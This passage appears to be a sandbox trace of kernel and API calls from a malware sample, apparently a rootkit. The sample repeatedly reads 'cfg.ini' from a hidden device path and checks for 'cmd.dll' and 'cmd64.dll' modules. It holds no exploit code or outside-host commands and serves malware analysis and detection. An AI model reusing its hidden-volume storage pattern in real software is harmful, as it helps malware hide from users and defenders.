_Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.427] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.427] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.427] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf6550 [0125.427] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.427] KeLeaveCriticalRegion () [0125.427] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.427] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.427] KeEnterCriticalRegion () [0125.427] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.427] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.427] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.427] KeLeaveCriticalRegion () [0125.427] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.427] KeEnterCriticalRegion () [0125.427] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.427] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.427] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.427] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.427] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0125.427] IdePortDispatch () returned 0x103 [0125.427] KeWaitForMutexObject () returned 0x0 [0125.427] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.427] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.427] KeLeaveCriticalRegion () [0125.427] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.427] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.428] KeEnterCriticalRegion () [0125.428] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.428] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c4f000 [0125.428] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.428] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.428] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.428] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0125.428] IdePortDispatch () returned 0x103 [0125.428] KeWaitForMutexObject () returned 0x0 [0125.428] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.428] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.428] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.428] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.428] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0125.428] IdePortDispatch () returned 0x103 [0125.428] KeWaitForMutexObject () returned 0x0 [0125.428] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.428] KeLeaveCriticalRegion () [0125.428] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.429] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.429] KeEnterCriticalRegion () [0125.429] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.429] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.429] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.429] KeLeaveCriticalRegion () [0125.429] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.429] KeEnterCriticalRegion () [0125.429] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.429] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0125.429] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf6870, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.429] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.429] KeLeaveCriticalRegion () [0125.429] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.429] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.429] KeEnterCriticalRegion () [0125.429] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.429] ExFreePoolWithTag (P=0xfffffa8003bf6550, Tag=0x0) [0125.429] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.429] KeLeaveCriticalRegion () [0125.429] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.429] ReleaseMutex (hMutex=0xf0) returned 1 [0125.429] Sleep (dwMilliseconds=0x124f80) [0125.430] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.437] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0125.437] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.437] KeEnterCriticalRegion () [0125.437] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.437] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.437] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.437] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.437] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0125.437] IdePortDispatch () returned 0x103 [0125.437] KeWaitForMutexObject () returned 0x0 [0125.438] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.438] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.438] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.438] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.438] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.438] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf7fb0 [0125.438] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.438] KeLeaveCriticalRegion () [0125.438] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.438] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.438] KeEnterCriticalRegion () [0125.438] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.438] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.438] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.438] KeLeaveCriticalRegion () [0125.438] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.438] KeEnterCriticalRegion () [0125.438] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.438] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.438] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.438] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.438] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0125.438] IdePortDispatch () returned 0x103 [0125.438] KeWaitForMutexObject () returned 0x0 [0125.438] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.438] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.438] KeLeaveCriticalRegion () [0125.438] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.438] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.438] KeEnterCriticalRegion () [0125.438] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.438] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c52000 [0125.438] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.438] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.438] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.438] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0125.438] IdePortDispatch () returned 0x103 [0125.439] KeWaitForMutexObject () returned 0x0 [0125.439] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.439] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.439] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.439] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.439] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0125.439] IdePortDispatch () returned 0x103 [0125.439] KeWaitForMutexObject () returned 0x0 [0125.439] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.439] KeLeaveCriticalRegion () [0125.439] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.439] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.440] KeEnterCriticalRegion () [0125.440] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.440] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.440] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.440] KeLeaveCriticalRegion () [0125.440] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.440] KeEnterCriticalRegion () [0125.440] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.440] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0125.440] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf71e0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.440] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.440] KeLeaveCriticalRegion () [0125.440] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.440] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.440] KeEnterCriticalRegion () [0125.440] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.440] ExFreePoolWithTag (P=0xfffffa8003bf7fb0, Tag=0x0) [0125.440] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.440] KeLeaveCriticalRegion () [0125.440] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.440] ReleaseMutex (hMutex=0xf0) returned 1 [0125.440] Sleep (dwMilliseconds=0x124f80) [0125.451] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.451] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0125.451] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.451] KeEnterCriticalRegion () [0125.451] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.451] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.451] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.451] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.451] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0125.451] IdePortDispatch () returned 0x103 [0125.451] KeWaitForMutexObject () returned 0x0 [0125.451] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.451] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.451] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.451] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.451] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.451] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf7570 [0125.451] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.451] KeLeaveCriticalRegion () [0125.451] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.451] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.451] KeEnterCriticalRegion () [0125.451] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.451] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.451] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.451] KeLeaveCriticalRegion () [0125.451] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.451] KeEnterCriticalRegion () [0125.451] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.451] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.451] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.451] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.451] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0125.451] IdePortDispatch () returned 0x103 [0125.452] KeWaitForMutexObject () returned 0x0 [0125.452] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.452] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.452] KeLeaveCriticalRegion () [0125.452] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.452] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.452] KeEnterCriticalRegion () [0125.452] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.452] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c56000 [0125.452] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.452] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.452] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.452] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0125.452] IdePortDispatch () returned 0x103 [0125.452] KeWaitForMutexObject () returned 0x0 [0125.452] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.452] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.452] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.452] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.452] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0125.452] IdePortDispatch () returned 0x103 [0125.452] KeWaitForMutexObject () returned 0x0 [0125.453] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.453] KeLeaveCriticalRegion () [0125.453] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.453] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.453] KeEnterCriticalRegion () [0125.453] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.453] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.453] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.453] KeLeaveCriticalRegion () [0125.453] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.453] KeEnterCriticalRegion () [0125.453] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.453] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0125.453] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf77d0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.453] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.453] KeLeaveCriticalRegion () [0125.453] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.453] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.453] KeEnterCriticalRegion () [0125.453] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.453] ExFreePoolWithTag (P=0xfffffa8003bf7570, Tag=0x0) [0125.453] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.453] KeLeaveCriticalRegion () [0125.453] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.453] ReleaseMutex (hMutex=0xf0) returned 1 [0125.453] Sleep (dwMilliseconds=0x124f80) [0125.468] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.468] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0125.468] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.468] KeEnterCriticalRegion () [0125.468] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.468] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.468] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.468] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.468] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0125.468] IdePortDispatch () returned 0x103 [0125.468] KeWaitForMutexObject () returned 0x0 [0125.468] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.468] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.468] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.468] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.468] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.468] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf7070 [0125.468] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.469] KeLeaveCriticalRegion () [0125.469] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.469] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.469] KeEnterCriticalRegion () [0125.469] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.469] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.469] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.469] KeLeaveCriticalRegion () [0125.469] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.469] KeEnterCriticalRegion () [0125.469] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.469] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.469] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.469] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.469] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0125.469] IdePortDispatch () returned 0x103 [0125.469] KeWaitForMutexObject () returned 0x0 [0125.469] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.469] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.469] KeLeaveCriticalRegion () [0125.469] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.469] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.469] KeEnterCriticalRegion () [0125.469] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.469] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, 